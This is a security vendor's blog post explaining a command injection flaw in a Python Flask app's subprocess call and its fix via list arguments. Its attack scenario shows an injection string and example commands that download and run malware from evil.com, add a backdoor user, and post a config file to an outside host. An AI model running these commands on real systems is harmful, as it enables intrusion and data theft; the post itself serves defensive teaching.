Back to Blog
critical SEVERITY5 min read

How Command Injection happens in Python subprocess and how to fix it

A critical command injection vulnerability was discovered in the `open_directory` method of `src/jm_view_server/app.py`, where user-controlled path input was passed directly into a shell command via `subprocess.Popen`. By switching from string-based shell execution to a list-based argument format, the fix eliminates the ability for attackers to inject malicious shell commands through crafted directory paths.

O
By Orbis AppSec
Published August 7, 2026Reviewed August 7, 2026

Answer Summary

This is a Command Injection vulnerability (CWE-78) in Python's `subprocess.Popen` call within a Flask web application. The `open_directory` method used an f-string to construct a shell command with user-controlled input, enabling attackers to inject arbitrary commands. The fix converts the string argument `subprocess.Popen(f'explorer /select,"{path}"')` to a list format `subprocess.Popen(['explorer', f'/select,{path}'])`, which bypasses shell interpretation and prevents command injection.

Vulnerability at a Glance

cweCWE-78
fixConvert subprocess.Popen argument from string to list format
riskRemote code execution via crafted directory path input
languagePython
root causeUser-controlled path passed to subprocess.Popen as shell-interpreted string
vulnerabilityCommand Injection (OS Command Injection)

Introduction

The open_directory method in src/jm_view_server/app.py serves a seemingly simple purpose: it opens a file explorer window to a specified directory path. However, at line 838, a dangerous pattern lurked in the Windows-specific code path. The function constructed a shell command using an f-string that directly embedded user-controlled input:

subprocess.Popen(f'explorer /select,"{path}"')

This single line created a direct pathway for remote attackers to execute arbitrary commands on the server. Because this is a Flask web application handling HTTP requests, any authenticated user could craft a malicious directory path that would break out of the intended command and execute their own shell commands on the underlying Windows system.

The Vulnerability Explained

When subprocess.Popen receives a string argument on Windows, it invokes the command through the shell interpreter (cmd.exe). This means shell metacharacters like &, |, ;, and backticks are interpreted and can be used to chain additional commands.

Here's the vulnerable code from line 838:

subprocess.Popen(f'explorer /select,"{path}"')  # 选中

The path variable comes from the directory parameter passed to the open_directory method, which originates from an HTTP request. While the code includes a verify() check for authentication, an authenticated attacker could still exploit this vulnerability.

Attack Scenario

Consider an attacker who sends a request to open a directory with this crafted path:

C:\Users" & calc.exe & echo "

The resulting command becomes:

explorer /select,"C:\Users" & calc.exe & echo ""

The shell interprets the & as a command separator, executing:
1. explorer /select,"C:\Users" - opens the explorer (legitimate)
2. calc.exe - launches calculator (attacker's payload)
3. echo "" - cleans up the trailing quote

In a real attack, instead of calc.exe, an attacker would execute commands like:
- powershell -c "Invoke-WebRequest -Uri http://evil.com/malware.exe -OutFile C:\temp\m.exe; C:\temp\m.exe" - download and execute malware
- net user hacker Password123! /add - create a backdoor user account
- type C:\secrets\config.ini | curl -X POST -d @- http://evil.com/exfil - exfiltrate sensitive data

Why This Matters

This vulnerability is particularly severe because:

  1. Remote Exploitability: As a Flask web service, the open_directory endpoint is accessible over HTTP
  2. Authentication Bypass Risk: While verify() provides some protection, authenticated users can still exploit it
  3. Full System Compromise: Successful exploitation grants the attacker the same privileges as the web server process
  4. Platform-Specific Hiding: The vulnerability only manifests on Windows, potentially escaping detection during Linux-based development and testing

The Fix

The fix, applied at line 838, converts the subprocess call from a string to a list format:

Before (Vulnerable)

subprocess.Popen(f'explorer /select,"{path}"')  # 选中

After (Fixed)

subprocess.Popen(['explorer', f'/select,{path}'])  # 选中

This change fundamentally alters how the command is executed:

Aspect String Format List Format
Shell Invocation Yes (cmd.exe interprets) No (direct execution)
Metacharacter Handling Interpreted as commands Passed as literal text
Argument Parsing Shell performs parsing Python passes directly to OS

When using the list format, Python calls the Windows CreateProcess API directly with explorer.exe as the executable and /select,{path} as a single argument. Shell metacharacters like & and | are never interpreted—they're simply passed as literal characters in the path string.

The fix also adds a # nosec B404 comment on the import statement, acknowledging that the subprocess module usage has been reviewed and deemed safe in this context.

Key Takeaways

  • The open_directory method's use of f-strings with subprocess.Popen created a direct command injection vector on Windows systems
  • Converting from subprocess.Popen(f'explorer /select,"{path}"') to subprocess.Popen(['explorer', f'/select,{path}']) eliminates shell interpretation entirely
  • Flask request handlers that invoke system commands require extra scrutiny—they bridge HTTP input directly to OS execution
  • Platform-specific code paths (like Windows vs. Linux handling) can hide vulnerabilities that only manifest in certain environments
  • The existing verify() authentication check was insufficient—defense in depth requires safe coding patterns regardless of access controls

How Orbis AppSec Detected This

  • Source: HTTP request parameter directory passed to the open_directory method in src/jm_view_server/app.py
  • Sink: subprocess.Popen(f'explorer /select,"{path}"') at line 838, where the shell interprets the constructed string
  • Missing control: No input sanitization or safe argument passing; user-controlled path embedded directly in shell command string
  • CWE: CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Converted subprocess call from shell-interpreted string format to safe list-based argument format

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This command injection vulnerability in app.py demonstrates how a seemingly innocuous file explorer feature can become a critical security risk. The pattern of embedding user input into subprocess strings is unfortunately common, especially when developers focus on functionality over security.

The fix is elegantly simple: by changing from a string to a list format, we completely sidestep shell interpretation. This is a pattern every Python developer should internalize—whenever you reach for subprocess, reach for list arguments first.

Remember that authentication alone doesn't protect against injection attacks. Even authenticated users shouldn't be able to execute arbitrary commands on your server. Defense in depth means writing safe code at every layer, not just at the perimeter.

Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #7

Related Articles

critical

deleteNestedProperty Prototype Pollution via Dot-Notation Path

The `deleteNestedProperty` function in propertyUtils.ts allowed attackers to manipulate JavaScript object prototypes by passing specially crafted dot-notation paths like `__proto__.polluted`. A fix now blocks dangerous keys before processing, preventing prototype pollution attacks that could affect all objects in the application.

high

How Denial of Service via Infinite Loop Happens in JavaScript Dependencies and How to Fix It

CVE-2026-67213 is a high-severity denial of service vulnerability in nanoid before version 5.1.6 that triggers an infinite loop during random ID generation when processing specially crafted input. We upgraded nanoid across the entire dependency tree to patch this flaw and prevent attackers from freezing application threads. This fix ensures that ID generation remains resilient even when handling adversarial input patterns.

high

How Sensitive Data Exposure happens in Zotero plugins and how to fix it

A high-severity data exposure vulnerability in `Zotero.ts` automatically transmitted complete document metadata—including private notes, attachment paths, and tags—to external LLM services without user consent. The fix replaces broad `item.toJSON()` serialization with explicit field selection, sending only essential bibliographic data.

high

How missing dependency update cooldowns happen in GitHub Dependabot configurations and how to fix it

A semgrep scan flagged `.github/dependabot.yml` for lacking a cooldown period, meaning Dependabot would immediately propose updates to brand-new package versions across npm, Bundler, and Docker ecosystems. The fix adds a `cooldown: default-days: 7` block to every `package-ecosystem` entry, forcing a one-week waiting period before newly published releases are considered — reducing exposure to malicious or unstable package drops.

high

How Path Traversal Happens in TensorFlow's Data Service and How to Fix It

TensorFlow's data service dispatcher validated dataset IDs against forward-slash traversal attacks but overlooked backslash characters on non-Windows platforms, allowing attackers to escape the root directory. A targeted fix adds explicit backslash validation across all platforms, closing a high-severity path traversal vulnerability in the snapshot management system.

critical

How Unbounded WebSocket Message Handling Causes Resource Exhaustion in Node.js and How to Fix It

The WebSocketCrossServerAdapter class in a popular Node.js WebSocket library lacked any rate limiting on inbound messages, allowing attackers to flood Redis nodes and WebSocket servers with high-volume traffic. The fix introduces a configurable `rateLimit` option that caps messages per connection per second, preventing resource exhaustion while preserving legitimate functionality.